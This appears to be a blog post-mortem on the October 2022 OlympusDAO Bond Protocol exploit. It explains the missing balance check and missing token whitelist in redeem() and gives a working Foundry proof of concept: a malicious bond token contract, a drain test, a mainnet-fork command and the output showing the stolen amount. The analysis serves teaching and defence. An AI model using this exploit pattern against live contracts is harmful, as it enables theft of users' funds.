Two days ago on October 21st 2022, OlympusDAO was drained of 30,437 OHM Tokens (about $300,000) due to an exploit in Bond Protocol. This exploit was surprisingly simple, but nonetheless was not caught during audit. I’ll be going over how the exploit was carried out along with a proof of concept here.
First a quick tl;dr of what bonding is. OlympusDAO uses this approach to generate capital. Essentially, users lock up their LP tokens in exchange for OHM tokens at a discounted rate. By doing this, OlympusDAO maintains a large share of the LP tokens on OHM trading pairs, which provides income to the DAO in trading fees.
On October 6th, OlympusDAO announced that it was launching bonding with Bond Protocol. This is when the vulnerable code went live. The attack transaction of interest can be seen on etherscan here:
You might notice that this was a private transaction which was not sent to the mem pool, but rather was sent directly to miners. The reasons for this are fascinating and I’ll discuss them in another post. For now, the transaction trace can be seen here:
From the trace, we see that the vulnerability lies in the redeem()
function. Taking a look at Bond Protocol’s smart contracts, the function looks like this
function redeem(ERC20BondToken token_, uint256 amount_)
external
override
nonReentrant {
if (uint48(block.timestamp) < token_.expiry())
revert Teller_TokenNotMatured(token_.expiry());
token_.burn(msg.sender, amount_);
token_.underlying().transfer(msg.sender, amount_);
}
Let’s take a close look at what is going on here. First, it checks to make sure that the expiry()
function of the requested token is at a later time than the current block. Next, it burns the amount of bonded tokens the user wants to redeem and then transfers the underlying
token to the user. The underlying token here are the OHM tokens.
The key to this exploit is noticing that there is no check here to make sure that the users balance is greater than the amount of tokens being transferred. In addition to this, there is no whitelist to make sure that the token passed in is not malicious. Thus, an attacker can just request all of the available tokens and this contract will send them. This can be done with a malicious wrapping token and using that to request all of the tokens in the contract.
To demonstrate this attack, we can use a Foundry test suite. With Foundry, we can fork the ethereum mainnet locally and run our code at a specified block.
First, we define the interface of the victim contract along with a compromised bonding token
address constant OHM_TOKEN = 0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5;
address constant BOND_FIXED_EXPIRY_TELLER = 0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156;
interface IBondFixedExpiryTeller {
function redeem(OlympusDaoExploitToken token, uint256 amount) external;
}
contract OlympusDaoExploitToken {
uint48 public expiry = uint48(block.timestamp) - 1 minutes;
address public underlying = OHM_TOKEN;
function burn(address caller, uint256 amount) external {}
}
Next, we can create our test contract which will attack the BondFixedExpiryTeller
contract.
contract OlympusDaoHack is Test {
OlympusDaoExploitToken exploitToken;
IBondFixedExpiryTeller expiryTellerContract;
address attacker;
function setUp() public {
exploitToken = new OlympusDaoExploitToken();
expiryTellerContract = IBondFixedExpiryTeller(BOND_FIXED_EXPIRY_TELLER);
// This just creates a random looking address
attacker = payable(
address(uint160(uint256(keccak256(abi.encodePacked("attacker")))))
);
}
function testExploit() public {
// Send all messages from the attacker
vm.startPrank(attacker);
uint256 amount = IERC20(OHM_TOKEN).balanceOf(BOND_FIXED_EXPIRY_TELLER);
expiryTellerContract.redeem(exploitToken, amount);
console.log("Attacker balance", IERC20(OHM_TOKEN).balanceOf(attacker));
vm.stopPrank();
assertEq(IERC20(OHM_TOKEN).balanceOf(attacker), amount);
}
}
Now, we can simulate being the attacker by forking mainnet at the block right before the attack happened (15794363). This can be accomplished using the following command
forge test -vv --match-contract OlympusDaoHack --fork-url <RPC_URL> --fork-block-number 15794363
Running this yields the following output
Running 1 test for test/OlympusDaoHack.t.sol:OlympusDaoHack
[PASS] testExploit() (gas: 55982)
Logs:
Attacker balance 30437077948152
The attackers new balance is 30437077948152, which is exactly what we saw the attacker stole IRL.
There are a few things that can be learned from this attack. Firstly, when doing a token transfer out of a contract, it is imperative to ensure that the requester actually owns the amount of tokens they are requesting. This exploit would not have been possible if there was a simple balance check.
Secondly, the attack would also not have been possible if the Bond tokens had been whitelisted. Thus, it was possible to have a malicious Bond token which points to something that it doesn’t actually wrap as the underlying token.